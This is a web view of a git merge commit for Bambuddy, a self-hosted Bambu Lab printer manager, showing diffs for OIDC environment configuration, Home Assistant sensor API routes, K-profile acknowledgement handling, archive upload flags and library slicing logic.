Procházet zdrojové kódy

Merge remote-tracking branch 'upstream/dev' into feature/billing

behrinml před 1 měsícem
rodič
revize
43bf854bd5
100 změnil soubory, kde provedl 14136 přidání a 653 odebrání
  1. 61 0
      .env.example
  2. 1 0
      BACKERS.md
  3. 0 0
      CHANGELOG.md
  4. 12 15
      CONTRIBUTING.md
  5. 1 1
      README.md
  6. 34 2
      backend/app/api/routes/archives.py
  7. 6 1
      backend/app/api/routes/auth.py
  8. 34 0
      backend/app/api/routes/github_backup.py
  9. 239 0
      backend/app/api/routes/ha_sensors.py
  10. 18 0
      backend/app/api/routes/kprofiles.py
  11. 114 41
      backend/app/api/routes/library.py
  12. 425 0
      backend/app/api/routes/library_variants.py
  13. 16 0
      backend/app/api/routes/mfa.py
  14. 24 3
      backend/app/api/routes/orca_cloud.py
  15. 57 47
      backend/app/api/routes/print_log.py
  16. 719 86
      backend/app/api/routes/print_queue.py
  17. 19 16
      backend/app/api/routes/printers.py
  18. 83 0
      backend/app/api/routes/updates.py
  19. 6 0
      backend/app/api/routes/virtual_printers.py
  20. 19 0
      backend/app/core/config.py
  21. 166 0
      backend/app/core/database.py
  22. 14 1
      backend/app/core/logging_filters.py
  23. 278 0
      backend/app/core/oidc_env.py
  24. 78 2
      backend/app/main.py
  25. 6 2
      backend/app/models/__init__.py
  26. 53 0
      backend/app/models/library.py
  27. 3 0
      backend/app/models/notification.py
  28. 6 0
      backend/app/models/notification_template.py
  29. 4 0
      backend/app/models/oidc_provider.py
  30. 58 2
      backend/app/models/print_batch.py
  31. 7 0
      backend/app/models/print_log.py
  32. 76 0
      backend/app/models/print_queue.py
  33. 2 0
      backend/app/models/printer.py
  34. 72 0
      backend/app/models/printer_ha_sensor.py
  35. 12 0
      backend/app/models/virtual_printer.py
  36. 3 0
      backend/app/schemas/auth.py
  37. 13 0
      backend/app/schemas/github_backup.py
  38. 62 0
      backend/app/schemas/library.py
  39. 8 0
      backend/app/schemas/notification.py
  40. 9 0
      backend/app/schemas/notification_template.py
  41. 9 1
      backend/app/schemas/print_log.py
  42. 137 3
      backend/app/schemas/print_queue.py
  43. 8 0
      backend/app/schemas/printer.py
  44. 114 0
      backend/app/schemas/printer_ha_sensor.py
  45. 55 2
      backend/app/schemas/settings.py
  46. 21 0
      backend/app/schemas/slicer.py
  47. 36 0
      backend/app/services/archive.py
  48. 382 122
      backend/app/services/bambu_mqtt.py
  49. 158 51
      backend/app/services/external_camera.py
  50. 335 58
      backend/app/services/github_backup.py
  51. 271 0
      backend/app/services/ha_sensor_manager.py
  52. 102 0
      backend/app/services/homeassistant.py
  53. 42 18
      backend/app/services/ldap_service.py
  54. 19 0
      backend/app/services/library_trash.py
  55. 37 0
      backend/app/services/notification_service.py
  56. 541 0
      backend/app/services/print_batch.py
  57. 2 0
      backend/app/services/print_log.py
  58. 652 95
      backend/app/services/print_scheduler.py
  59. 85 14
      backend/app/services/printer_manager.py
  60. 39 6
      backend/app/services/slicer_api.py
  61. 94 2
      backend/app/services/spoolman_tracking.py
  62. 68 0
      backend/app/services/virtual_printer/diagnostic.py
  63. 205 7
      backend/app/services/virtual_printer/manager.py
  64. 59 0
      backend/app/utils/printer_models.py
  65. 242 0
      backend/tests/integration/test_archives_api.py
  66. 317 0
      backend/tests/integration/test_ha_sensors_api_1148.py
  67. 354 0
      backend/tests/integration/test_library_slice_api.py
  68. 246 0
      backend/tests/integration/test_library_variants_api.py
  69. 29 0
      backend/tests/integration/test_local_login_gate.py
  70. 801 0
      backend/tests/integration/test_oidc_env_apply.py
  71. 137 0
      backend/tests/integration/test_oidc_env_lock.py
  72. 43 0
      backend/tests/integration/test_oidc_env_startup.py
  73. 51 0
      backend/tests/integration/test_overlay_status_api.py
  74. 117 0
      backend/tests/integration/test_ownership_permissions.py
  75. 833 0
      backend/tests/integration/test_print_batch_orders.py
  76. 205 0
      backend/tests/integration/test_print_queue_api.py
  77. 18 0
      backend/tests/integration/test_printers_api.py
  78. 297 0
      backend/tests/integration/test_queue_variants_api.py
  79. 37 0
      backend/tests/integration/test_security_headers.py
  80. 159 1
      backend/tests/integration/test_updates_api.py
  81. 21 0
      backend/tests/unit/services/test_bambu_cloud.py
  82. 545 3
      backend/tests/unit/services/test_bambu_mqtt.py
  83. 88 0
      backend/tests/unit/services/test_ldap_service.py
  84. 58 0
      backend/tests/unit/services/test_notification_service.py
  85. 132 4
      backend/tests/unit/services/test_printer_manager.py
  86. 109 0
      backend/tests/unit/services/test_slicer_api.py
  87. 243 0
      backend/tests/unit/services/test_spoolman_slot_mapping_fallback.py
  88. 871 44
      backend/tests/unit/services/test_virtual_printer.py
  89. 112 2
      backend/tests/unit/services/test_vp_diagnostic.py
  90. 66 0
      backend/tests/unit/test_chamber_temp_ceiling.py
  91. 77 0
      backend/tests/unit/test_compose_dir_setting.py
  92. 290 0
      backend/tests/unit/test_external_camera_ssrf.py
  93. 509 0
      backend/tests/unit/test_github_backup_cloud_profiles.py
  94. 281 0
      backend/tests/unit/test_ha_sensor_manager_1148.py
  95. 38 0
      backend/tests/unit/test_log_credential_redaction.py
  96. 126 0
      backend/tests/unit/test_oidc_env_managed_migration.py
  97. 12 0
      backend/tests/unit/test_oidc_env_provider.py
  98. 248 0
      backend/tests/unit/test_oidc_env_reader.py
  99. 125 0
      backend/tests/unit/test_orca_cloud_refresh.py
  100. 10 1
      backend/tests/unit/test_outbound_url_ssrf_guards.py

+ 61 - 0
.env.example

@@ -66,3 +66,64 @@ LOG_TO_FILE=true
 # LDAP is governed by its own ldap_enabled toggle and is not affected.
 # Leave unset for normal operation.
 # BAMBUDDY_LOCAL_LOGIN=true
+
+# --- OIDC provider from the environment (#2593) ------------------------------
+# Defines ONE OIDC provider declaratively, for deployments that are managed by
+# compose files or GitOps and never touch the settings UI. Providers created in
+# the UI are unaffected and keep working alongside this one.
+#
+# Activates only when all four required vars below are set; an empty value
+# counts as unset. The provider is written on startup and re-applied on every
+# boot, so the UI shows it as read-only and the API refuses to change it -- an
+# edit there would be reverted at the next restart anyway.
+#
+# Removing the vars DISABLES the provider rather than deleting it: accounts
+# linked to it would otherwise lose their link permanently. Re-adding the vars
+# enables it again with those links intact.
+#
+# If you lock yourself out, BAMBUDDY_LOCAL_LOGIN=true above is the way back in.
+#
+# Required:
+# BAMBUDDY_OIDC_NAME=Keycloak
+# BAMBUDDY_OIDC_ISSUER_URL=https://sso.example.com/realms/main
+# BAMBUDDY_OIDC_CLIENT_ID=bambuddy
+# BAMBUDDY_OIDC_CLIENT_SECRET=your-client-secret
+#
+# Optional, shown with their defaults:
+# BAMBUDDY_OIDC_SCOPES=openid email profile
+# BAMBUDDY_OIDC_ENABLED=true
+# BAMBUDDY_OIDC_AUTO_CREATE_USERS=false
+# BAMBUDDY_OIDC_AUTO_LINK_EXISTING=false
+# BAMBUDDY_OIDC_EMAIL_CLAIM=email
+# BAMBUDDY_OIDC_REQUIRE_EMAIL_VERIFIED=true
+# BAMBUDDY_OIDC_ICON_URL=
+# BAMBUDDY_OIDC_AUTOLOGIN=false
+# BAMBUDDY_OIDC_DEFAULT_GROUP=
+#
+# Booleans accept true/1/yes or false/0/no (case-insensitive). Blank or unset
+# uses the default; any other value is rejected and the provider is skipped.
+#
+# DEFAULT_GROUP is the group new users land in when AUTO_CREATE_USERS is on;
+# without it they get Viewers. It matches a group NAME exactly (case-sensitive)
+# -- group ids are assigned per install, so the same compose file would point at
+# a different group on every deployment. A name that matches no group is
+# refused: the provider is left as it was and the reason is logged, rather than
+# quietly creating under-privileged users the locked UI could not correct. On a
+# FIRST boot that means no provider is created at all and no SSO button appears
+# -- create the group first. Removing the variable clears the group again.
+#
+# AUTO_LINK_EXISTING binds an OIDC identity to an existing local account with
+# the same email address. With EMAIL_CLAIM=email it is refused unless
+# REQUIRE_EMAIL_VERIFIED=true, because an identity provider that does not
+# verify addresses would let anyone claim someone else's account. The whole
+# config is then skipped and logged; the app still starts.
+#
+# ISSUER_URL must be https:// and publicly reachable -- private, loopback,
+# link-local, numeric-encoded and IPv4-mapped hosts are rejected. An in-cluster
+# URL like http://keycloak:8080 is refused with a single log line and no SSO
+# button; use the externally-reachable HTTPS issuer URL instead.
+#
+# NAME is matched against the existing providers on every boot: setting it to
+# the name of one you already created in the UI ADOPTS and OVERWRITES it (its
+# issuer, client id and secret are replaced and it becomes read-only). Pick a
+# name that doesn't collide unless that takeover is intended.

+ 1 - 0
BACKERS.md

@@ -69,6 +69,7 @@ If you sponsor and your name isn't here within 48h, please write an email to mar
 - [@iljur](https://github.com/iljur)
 - [@bhamiltoncx](https://github.com/bhamiltoncx)
 - [@g7ufo](https://github.com/g7ufo)
+- [@Heidelberger2000](https://github.com/Heidelberger2000)
 
 ---
 

Rozdílová data souboru nebyla zobrazena, protože soubor je příliš velký
+ 0 - 0
CHANGELOG.md


+ 12 - 15
CONTRIBUTING.md

@@ -223,21 +223,18 @@ The frontend uses [react-i18next](https://react.i18next.com/) for all user-facin
 
 ### Locale Files
 
-Translations live in `frontend/src/i18n/locales/`:
-
-| File | Language |
-|------|----------|
-| `en.ts` | English (primary) |
-| `de.ts` | German |
-| `fr.ts` | French |
-| `ja.ts` | Japanese |
-| `pt-BR.ts` | Brazilian Portuguese |
-[...]
-check for possibly more files!!!
+Translations live in `frontend/src/i18n/locales/`. `en.ts` is the reference locale; every other `*.ts` file in that directory is checked against it. The parity check discovers the directory at runtime, so a new locale is picked up automatically — this file never needs updating when one is added.
+
+To see the current set of locales and check your work:
+
+```bash
+cd frontend
+npm run check:i18n
+```
 
 ### Adding New Strings
 
-1. Add the key to the appropriate section in **all three** locale files
+1. Add the key to the appropriate section in **every** locale file
 2. Use the `useTranslation` hook in your component:
 
 ```tsx
@@ -253,9 +250,9 @@ function MyComponent() {
 
 ### Important Notes
 
-- All three locale files must use the **same key structure** — same nesting, same key paths
-- Always add keys to all three locales to maintain parity
-- Run frontend tests after changes — locale parity is validated
+- Every locale file must use the **same key structure** — same nesting, same key paths
+- Always add keys to **every** locale to maintain parity, with real translations rather than English placeholders — the check flags leaves that are identical to `en`
+- Run `npm run test:run` before pushing — it chains the parity check, which CI runs too. Plain `npm test` is vitest in watch mode and skips it
 - If you find structural inconsistencies between locales, fix them — different key paths cause silent fallback to English
 
 ## Authentication & Permissions

+ 1 - 1
README.md

@@ -6,7 +6,7 @@
 
 <p align="center">
   <strong>Your printers. No cloud. Your rules.</strong><br>
-  Self-hosted command center for Bambu Lab &mdash; from one A1 to a 40-printer farm.
+  Self-hosted command center for Bambu Lab &mdash; from one A1 to an entire print farm.
 </p>
 
 <p align="center">

+ 34 - 2
backend/app/api/routes/archives.py

@@ -3429,10 +3429,28 @@ async def get_plate_preview(
 async def upload_archive(
     file: UploadFile = File(...),
     printer_id: int | None = None,
+    prefer_filename_for_name: bool = Query(
+        False,
+        description=(
+            "Name the archive after the uploaded filename instead of the print_name "
+            "embedded in the 3MF's metadata. Off by default, which keeps the embedded "
+            "name. Turn it on when the filename you send is the meaningful one — an "
+            "integration naming files after its own jobs, or a file whose embedded "
+            "title is a stale name from whoever originally sliced it."
+        ),
+    ),
     db: AsyncSession = Depends(get_db),
     current_user: User | None = RequirePermissionIfAuthEnabled(Permission.ARCHIVES_CREATE),
 ):
-    """Manually upload a 3MF file to archive."""
+    """Manually upload a 3MF file to archive.
+
+    prefer_filename_for_name is the same flag the FTP review flow and
+    virtual-printer dispatch already pass to ArchiveService.archive_print —
+    this endpoint just didn't expose it (#1152 follow-up). Those callers derive
+    it from the VP-scoped `virtual_printer_archive_name_source` setting; here it
+    is per-request, because the caller is an API client that knows whether the
+    filename it sent is the meaningful one (#2609).
+    """
     if not file.filename or not file.filename.endswith(".3mf"):
         raise HTTPException(400, "File must be a .3mf file")
 
@@ -3458,6 +3476,7 @@ async def upload_archive(
             printer_id=printer_id,
             source_file=temp_path,
             created_by_id=current_user.id if current_user else None,
+            prefer_filename_for_name=prefer_filename_for_name,
         )
 
         if not archive:
@@ -3473,10 +3492,22 @@ async def upload_archive(
 async def upload_archives_bulk(
     files: list[UploadFile] = File(...),
     printer_id: int | None = None,
+    prefer_filename_for_name: bool = Query(
+        False,
+        description=(
+            "Name each archive after its uploaded filename instead of the print_name "
+            "embedded in the 3MF's metadata. Applies to every file in the batch. Off "
+            "by default, which keeps the embedded name."
+        ),
+    ),
     db: AsyncSession = Depends(get_db),
     current_user: User | None = RequirePermissionIfAuthEnabled(Permission.ARCHIVES_CREATE),
 ):
-    """Bulk upload multiple 3MF files to archive."""
+    """Bulk upload multiple 3MF files to archive.
+
+    prefer_filename_for_name applies to every file in the batch. See
+    upload_archive for the flag's lineage.
+    """
     from backend.app.api.routes.library import validate_print_file_upload
 
     results = []
@@ -3511,6 +3542,7 @@ async def upload_archives_bulk(
                 printer_id=printer_id,
                 source_file=temp_path,
                 created_by_id=current_user.id if current_user else None,
+                prefer_filename_for_name=prefer_filename_for_name,
             )
 
             if archive:

+ 6 - 1
backend/app/api/routes/auth.py

@@ -35,6 +35,7 @@ from backend.app.core.auth import (
     security,
 )
 from backend.app.core.database import async_session, get_db
+from backend.app.core.oidc_env import env_bool
 from backend.app.core.permissions import ALL_PERMISSIONS
 from backend.app.models.auth_ephemeral import AuthEphemeralToken, AuthRateLimitEvent, EventType, TokenType
 from backend.app.models.group import Group
@@ -123,7 +124,11 @@ def _local_login_env_bypass() -> bool:
     an install whose SSO provider is unreachable. Accepted truthy values:
     ``true``, ``1``, ``yes`` (case-insensitive).
     """
-    return os.environ.get("BAMBUDDY_LOCAL_LOGIN", "").strip().lower() in {"true", "1", "yes"}
+    # strict=False: this runs on the login/forgot-password request path, not at
+    # startup. An unrecognized value must fall back to "off" (the safe default),
+    # never raise -- a 500 on the recovery endpoint is the opposite of what this
+    # bypass is for.
+    return env_bool("BAMBUDDY_LOCAL_LOGIN", False, strict=False)
 
 
 def _get_client_ip(request: Request) -> str:

+ 34 - 0
backend/app/api/routes/github_backup.py

@@ -12,6 +12,7 @@ from backend.app.core.permissions import Permission
 from backend.app.models.github_backup import GitHubBackupConfig, GitHubBackupLog
 from backend.app.models.user import User
 from backend.app.schemas.github_backup import (
+    CloudAccountCounts,
     GitHubBackupConfigCreate,
     GitHubBackupConfigResponse,
     GitHubBackupConfigUpdate,
@@ -75,6 +76,39 @@ async def _enforce_private_repo(repo_url: str, token: str, provider: str) -> Non
         raise HTTPException(status_code=400, detail=_PUBLIC_REPO_ERROR)
 
 
+async def _count_cloud_accounts(db: AsyncSession) -> tuple[int, int]:
+    """How many Bambu / Orca accounts a backup would collect from.
+
+    Asks the collector itself rather than re-deriving the rule, so the number
+    the UI gates on can't drift from the number the backup actually uses
+    (#2717). Counts only — never who.
+    """
+    try:
+        bambu, orca = await github_backup_service.cloud_accounts(db)
+        return len(bambu), len(orca)
+    except Exception:
+        # A settings page must still render when a credential store is
+        # unreadable; the toggle simply shows as unavailable.
+        logger.warning("Failed to count connected cloud accounts", exc_info=True)
+        return 0, 0
+
+
+@router.get("/cloud-accounts", response_model=CloudAccountCounts)
+async def get_cloud_accounts(
+    db: AsyncSession = Depends(get_db),
+    _: User | None = RequirePermissionIfAuthEnabled(Permission.GITHUB_BACKUP),
+):
+    """How many cloud accounts the Cloud Profiles category would collect from.
+
+    Its own endpoint rather than a field on ``/config``, because the settings
+    form needs this before any config exists — ``/config`` answers ``null``
+    until the first save, which would leave the toggle disabled during the
+    very setup it's part of.
+    """
+    bambu, orca = await _count_cloud_accounts(db)
+    return CloudAccountCounts(bambu=bambu, orca=orca)
+
+
 def _config_to_response(config: GitHubBackupConfig) -> dict:
     """Convert config model to response dict."""
     return {

+ 239 - 0
backend/app/api/routes/ha_sensors.py

@@ -0,0 +1,239 @@
+"""API routes for Home Assistant sensors bound to a printer (#1148, #448)."""
+
+import logging
+
+from fastapi import APIRouter, Depends, HTTPException
+from sqlalchemy import select
+from sqlalchemy.ext.asyncio import AsyncSession
+
+from backend.app.core.auth import RequirePermissionIfAuthEnabled
+from backend.app.core.database import get_db
+from backend.app.core.permissions import Permission
+from backend.app.models.printer import Printer
+from backend.app.models.printer_ha_sensor import PrinterHASensor
+from backend.app.models.user import User
+from backend.app.schemas.printer_ha_sensor import (
+    HADisplayEntity,
+    PrinterHASensorCreate,
+    PrinterHASensorReading,
+    PrinterHASensorResponse,
+    PrinterHASensorUpdate,
+)
+from backend.app.services.ha_sensor_manager import ha_sensor_manager
+from backend.app.services.homeassistant import homeassistant_service
+
+logger = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/ha-sensors", tags=["ha-sensors"])
+
+# These reuse the smart-plug permissions rather than introducing their own.
+# Both surfaces are "the Home Assistant integration", and a brand-new
+# permission would be missing from every existing custom role — users who can
+# manage plugs today would silently lose access to the sensors next to them.
+_READ = RequirePermissionIfAuthEnabled(Permission.SMART_PLUGS_READ)
+_CREATE = RequirePermissionIfAuthEnabled(Permission.SMART_PLUGS_CREATE)
+_UPDATE = RequirePermissionIfAuthEnabled(Permission.SMART_PLUGS_UPDATE)
+_DELETE = RequirePermissionIfAuthEnabled(Permission.SMART_PLUGS_DELETE)
+
+
+async def _refresh_quietly(sensor: PrinterHASensor, db: AsyncSession) -> None:
+    """Take a first reading without letting it fail the write that preceded it.
+
+    The sensor row is committed before this runs. A failure here costs the card
+    one poll interval of blank state, which is not worth turning a successful
+    save into an error response.
+    """
+    try:
+        await ha_sensor_manager.refresh_one(db, sensor)
+    except Exception as e:
+        logger.warning("Could not read %s right after saving it: %s", sensor.entity_id, e)
+
+
+@router.get("/", response_model=list[PrinterHASensorResponse])
+async def list_ha_sensors(
+    printer_id: int | None = None,
+    db: AsyncSession = Depends(get_db),
+    _: User | None = _READ,
+):
+    """List configured sensors, grouped by printer and in display order."""
+    query = select(PrinterHASensor)
+    if printer_id is not None:
+        query = query.where(PrinterHASensor.printer_id == printer_id)
+    result = await db.execute(query.order_by(PrinterHASensor.printer_id, PrinterHASensor.sort_order))
+    return list(result.scalars().all())
+
+
+# Must precede /{sensor_id} so "entities" is not parsed as an id.
+@router.get("/entities", response_model=list[HADisplayEntity])
+async def list_bindable_entities(
+    search: str | None = None,
+    db: AsyncSession = Depends(get_db),
+    _: User | None = _READ,
+):
+    """List the Home Assistant entities that can be bound to a printer."""
+    from backend.app.api.routes.settings import get_homeassistant_settings
+
+    ha_settings = await get_homeassistant_settings(db)
+    if not ha_settings["ha_url"] or not ha_settings["ha_token"]:
+        raise HTTPException(
+            400,
+            "Home Assistant not configured. Please set HA URL and token in Settings → Network → Home Assistant.",
+        )
+
+    entities = await homeassistant_service.list_display_entities(ha_settings["ha_url"], ha_settings["ha_token"], search)
+    return [HADisplayEntity(**e) for e in entities]
+
+
+@router.get("/by-printer/{printer_id}/readings", response_model=list[PrinterHASensorReading])
+async def get_printer_sensor_readings(
+    printer_id: int,
+    db: AsyncSession = Depends(get_db),
+    _: User | None = _READ,
+):
+    """Live state of a printer's card-visible sensors.
+
+    Served from the poller's cache, so a page full of printer cards costs
+    Home Assistant nothing. A sensor the poller has not reached yet falls back
+    to its last persisted state, marked unreachable, rather than vanishing
+    from the card on every restart.
+    """
+    result = await db.execute(
+        select(PrinterHASensor)
+        .where(
+            PrinterHASensor.printer_id == printer_id,
+            PrinterHASensor.show_on_printer_card.is_(True),
+        )
+        .order_by(PrinterHASensor.sort_order, PrinterHASensor.id)
+    )
+
+    readings = []
+    for sensor in result.scalars().all():
+        cached = ha_sensor_manager.get_reading(sensor.id)
+        readings.append(
+            PrinterHASensorReading(
+                id=sensor.id,
+                name=sensor.name,
+                entity_id=sensor.entity_id,
+                kind=sensor.kind,
+                device_class=sensor.device_class,
+                unit=sensor.unit,
+                state=cached.state if cached else sensor.last_state,
+                value=cached.value if cached else None,
+                alerting=cached.alerting if cached else False,
+                block_print=sensor.block_print,
+                reachable=cached.reachable if cached else False,
+                last_changed=sensor.last_changed,
+            )
+        )
+    return readings
+
+
+@router.post("/", response_model=PrinterHASensorResponse)
+async def create_ha_sensor(
+    data: PrinterHASensorCreate,
+    db: AsyncSession = Depends(get_db),
+    _: User | None = _CREATE,
+):
+    """Bind a Home Assistant entity to a printer."""
+    printer = await db.get(Printer, data.printer_id)
+    if not printer:
+        raise HTTPException(404, "Printer not found")
+
+    existing = await db.execute(
+        select(PrinterHASensor).where(
+            PrinterHASensor.printer_id == data.printer_id,
+            PrinterHASensor.entity_id == data.entity_id,
+        )
+    )
+    if existing.scalar_one_or_none():
+        raise HTTPException(400, f"{data.entity_id} is already bound to this printer")
+
+    sensor = PrinterHASensor(**data.model_dump())
+    db.add(sensor)
+    await db.commit()
+    await db.refresh(sensor)
+    logger.info("Bound HA entity %s to printer %s as '%s'", sensor.entity_id, sensor.printer_id, sensor.name)
+
+    # Read it once now so the card shows a state immediately instead of after
+    # the next poll tick. Best-effort: the row is already committed, so letting
+    # a Home Assistant hiccup 500 the request would report a failure for work
+    # that succeeded — and the retry would come back "already bound".
+    await _refresh_quietly(sensor, db)
+    return sensor
+
+
+@router.get("/{sensor_id}", response_model=PrinterHASensorResponse)
+async def get_ha_sensor(
+    sensor_id: int,
+    db: AsyncSession = Depends(get_db),
+    _: User | None = _READ,
+):
+    sensor = await db.get(PrinterHASensor, sensor_id)
+    if not sensor:
+        raise HTTPException(404, "Sensor not found")
+    return sensor
+
+
+@router.patch("/{sensor_id}", response_model=PrinterHASensorResponse)
+async def update_ha_sensor(
+    sensor_id: int,
+    data: PrinterHASensorUpdate,
+    db: AsyncSession = Depends(get_db),
+    _: User | None = _UPDATE,
+):
+    sensor = await db.get(PrinterHASensor, sensor_id)
+    if not sensor:
+        raise HTTPException(404, "Sensor not found")
+
+    updates = data.model_dump(exclude_unset=True)
+
+    # Re-run the create-time rules against the merged row. A PATCH that only
+    # sets block_print has no entity_id or alert_state in its payload, so the
+    # schema alone cannot tell whether the result is coherent.
+    merged = {field: getattr(sensor, field) for field in PrinterHASensorCreate.model_fields}
+    merged.update(updates)
+    try:
+        PrinterHASensorCreate(**merged)
+    except ValueError as e:
+        raise HTTPException(422, str(e)) from e
+
+    # Same uniqueness rule as create: repointing a sensor at an entity the
+    # printer already has would leave two rows fighting over one pill.
+    new_entity = updates.get("entity_id")
+    if new_entity and new_entity != sensor.entity_id:
+        clash = await db.execute(
+            select(PrinterHASensor).where(
+                PrinterHASensor.printer_id == sensor.printer_id,
+                PrinterHASensor.entity_id == new_entity,
+                PrinterHASensor.id != sensor.id,
+            )
+        )
+        if clash.scalar_one_or_none():
+            raise HTTPException(400, f"{new_entity} is already bound to this printer")
+
+    for field, value in updates.items():
+        setattr(sensor, field, value)
+    await db.commit()
+    await db.refresh(sensor)
+
+    # The entity or its alert rule may have changed under the cached reading.
+    await _refresh_quietly(sensor, db)
+    return sensor
+
+
+@router.delete("/{sensor_id}")
+async def delete_ha_sensor(
+    sensor_id: int,
+    db: AsyncSession = Depends(get_db),
+    _: User | None = _DELETE,
+):
+    sensor = await db.get(PrinterHASensor, sensor_id)
+    if not sensor:
+        raise HTTPException(404, "Sensor not found")
+
+    name = sensor.name
+    await db.delete(sensor)
+    await db.commit()
+    ha_sensor_manager.forget(sensor_id)
+    logger.info("Removed HA sensor '%s'", name)
+    return {"message": f"Sensor '{name}' removed"}

+ 18 - 0
backend/app/api/routes/kprofiles.py

@@ -148,6 +148,9 @@ async def set_kprofile(
         )
         if not delete_success:
             raise HTTPException(500, "Failed to delete existing K-profile for edit")
+        ok, detail = await client.await_cali_ack(delete_success)
+        if not ok:
+            raise HTTPException(500, f"Printer rejected the K-profile edit: {detail}")
 
         # Wait for printer to process the delete before adding
         await asyncio.sleep(0.5)
@@ -179,6 +182,13 @@ async def set_kprofile(
     if not success:
         raise HTTPException(500, "Failed to send K-profile command")
 
+    # The printer answers extrusion_cali_set with result/reason, echoing our
+    # sequence_id. Until #2718 that answer was logged at DEBUG and discarded,
+    # so a rejected write was reported to the user as saved.
+    ok, detail = await client.await_cali_ack(success)
+    if not ok:
+        raise HTTPException(500, f"Printer rejected the K-profile: {detail}")
+
     message = "K-profile updated successfully" if is_edit else "K-profile added successfully"
     return {"success": True, "message": message}
 
@@ -239,6 +249,10 @@ async def set_kprofiles_batch(
     if not success:
         raise HTTPException(500, "Failed to send K-profiles batch command")
 
+    ok, detail = await client.await_cali_ack(success)
+    if not ok:
+        raise HTTPException(500, f"Printer rejected the K-profiles: {detail}")
+
     return {"success": True, "message": f"Added {len(profiles)} K-profiles"}
 
 
@@ -283,6 +297,10 @@ async def delete_kprofile(
     if not success:
         raise HTTPException(500, "Failed to send K-profile delete command")
 
+    ok, detail = await client.await_cali_ack(success)
+    if not ok:
+        raise HTTPException(500, f"Printer rejected the delete: {detail}")
+
     # Wait for printer to process the delete before frontend refetches
     await asyncio.sleep(0.5)
 

+ 114 - 41
backend/app/api/routes/library.py

@@ -2023,6 +2023,20 @@ async def list_files(
             )
             hash_counts = {h: c - 1 for h, c in dup_result.all()}  # -1 to exclude self
 
+    # Variant group sizes (#671 / #2570). Counted across the whole group rather
+    # than the rows on screen — members can sit in different folders, so counting
+    # the listing would under-report and the "2 versions" badge would blink in
+    # and out as the user navigated.
+    variant_counts: dict[int, int] = {}
+    group_ids = {f.variant_group_id for f in files if f.variant_group_id}
+    if group_ids:
+        count_result = await db.execute(
+            select(LibraryFile.variant_group_id, func.count(LibraryFile.id))
+            .where(LibraryFile.variant_group_id.in_(group_ids), LibraryFile.deleted_at.is_(None))
+            .group_by(LibraryFile.variant_group_id)
+        )
+        variant_counts = dict(count_result.all())
+
     # Prevent browser caching of file list
     response.headers["Cache-Control"] = "no-cache, no-store, must-revalidate"
 
@@ -2059,6 +2073,8 @@ async def list_files(
                 filament_used_grams=filament_grams,
                 sliced_for_model=sliced_for_model,
                 tags=[TagSummary(id=t.id, name=t.name) for t in f.tags],
+                variant_group_id=f.variant_group_id,
+                variant_count=variant_counts.get(f.variant_group_id, 0) if f.variant_group_id else 0,
             )
         )
 
@@ -3756,6 +3772,13 @@ async def _run_slicer_with_fallback(
                 target_model,
             )
             cross_class_arrange = True
+
+    # #2548: the user can also ask for either layout pass per-slice. Arrange
+    # is a union with the cross-class decision above — a user opt-out must
+    # not be able to switch off the flag that keeps a class-crossing slice
+    # from crashing — while orient is user-driven only.
+    arrange_flag = cross_class_arrange or request.auto_arrange
+    orient_flag = request.auto_orient
     # When this slice is dispatcher-tracked, generate a request_id so
     # the sidecar publishes progress under it, and wire a callback that
     # forwards each frame onto SliceDispatchService.set_progress for the
@@ -3805,36 +3828,27 @@ async def _run_slicer_with_fallback(
 
         filament_jsons = substitute_unused_plate_filaments(primary_bytes, request.plate or 1, filament_jsons)
 
-    # Cross-class slice-all loop (#1493): when the user asks for
-    # ``plate=0`` (all plates) AND the source's nozzle class differs from
-    # the target's, ``--slice 0 --arrange 1`` consolidates every plate's
-    # objects onto a single target bed (BS's ``--arrange`` is project-
-    # wide) — either packing them all together or rejecting with "Some
-    # objects are located over the boundary of the heated bed" when
-    # nothing fits. Slice each plate independently with ``--arrange 1``
-    # and merge the per-plate outputs into one multi-plate 3MF instead.
-    # Same-class slice-all goes through the regular path below — the
-    # sidecar's native ``--slice 0`` produces the right shape directly.
-    use_cross_class_slice_all = cross_class_arrange and request.plate == 0 and request.export_3mf
+    # Arrange slice-all loop (#1493): when the user asks for ``plate=0``
+    # (all plates) AND arrange is on, ``--slice 0 --arrange 1``
+    # consolidates every plate's objects onto a single target bed (BS's
+    # ``--arrange`` is project-wide) — either packing them all together or
+    # rejecting with "Some objects are located over the boundary of the
+    # heated bed" when nothing fits. Slice each plate independently with
+    # ``--arrange 1`` and merge the per-plate outputs into one multi-plate
+    # 3MF instead. Slice-all without arrange goes through the regular path
+    # below — the sidecar's native ``--slice 0`` produces the right shape
+    # directly.
+    #
+    # Keyed on ``arrange_flag``, not just the cross-class decision: the
+    # project-wide collapse is a property of ``--arrange`` itself, so a
+    # user-requested arrange over all plates (#2548) hits it identically.
+    # Orient doesn't — it rotates objects where they stand and never moves
+    # one between plates — so it isn't part of this condition.
+    use_arrange_slice_all = arrange_flag and request.plate == 0 and request.export_3mf
 
     try:
         try:
-            if embedded_mode:
-                # No --load-settings: feed the CLI the file's own
-                # project_settings.config untouched so the designer's tweaks
-                # (walls, infill, etc.) drive the slice. primary_bytes is
-                # already sentinel-sanitised above, the same bytes the
-                # crash-fallback uses. The resolved presets go unused here.
-                result = await service.slice_without_profiles(
-                    model_bytes=primary_bytes,
-                    model_filename=model_filename,
-                    plate=request.plate,
-                    export_3mf=request.export_3mf,
-                    request_id=progress_request_id,
-                    on_progress=progress_callback,
-                )
-                used_embedded_settings = True
-            elif use_cross_class_slice_all:
+            if use_arrange_slice_all:
                 from backend.app.services.slicer_3mf_convert import (
                     count_plates_in_3mf,
                     merge_plate_3mfs,
@@ -3851,8 +3865,10 @@ async def _run_slicer_with_fallback(
                         ),
                     )
                 logger.info(
-                    "Cross-class slice-all: looping over %d plates with --arrange per plate, then merging",
+                    "Arrange slice-all: looping over %d plates with --arrange per plate, then merging "
+                    "(embedded_settings=%s)",
                     plate_count,
+                    embedded_mode,
                 )
                 from backend.app.services.slicer_api import SliceResult
 
@@ -3881,18 +3897,35 @@ async def _run_slicer_with_fallback(
 
                 for plate_num in range(1, plate_count + 1):
                     plate_cb = _wrap_progress_for_plate(plate_num, plate_count)
-                    per_plate = await service.slice_with_profiles(
-                        model_bytes=primary_bytes,
-                        model_filename=model_filename,
-                        printer_profile_json=presets["printer"],
-                        process_profile_json=presets["process"],
-                        filament_profile_jsons=filament_jsons,
-                        plate=plate_num,
-                        export_3mf=True,
-                        arrange=True,
-                        request_id=progress_request_id,
-                        on_progress=plate_cb,
-                    )
+                    # "Slice as designed" has to take the loop too, not skip
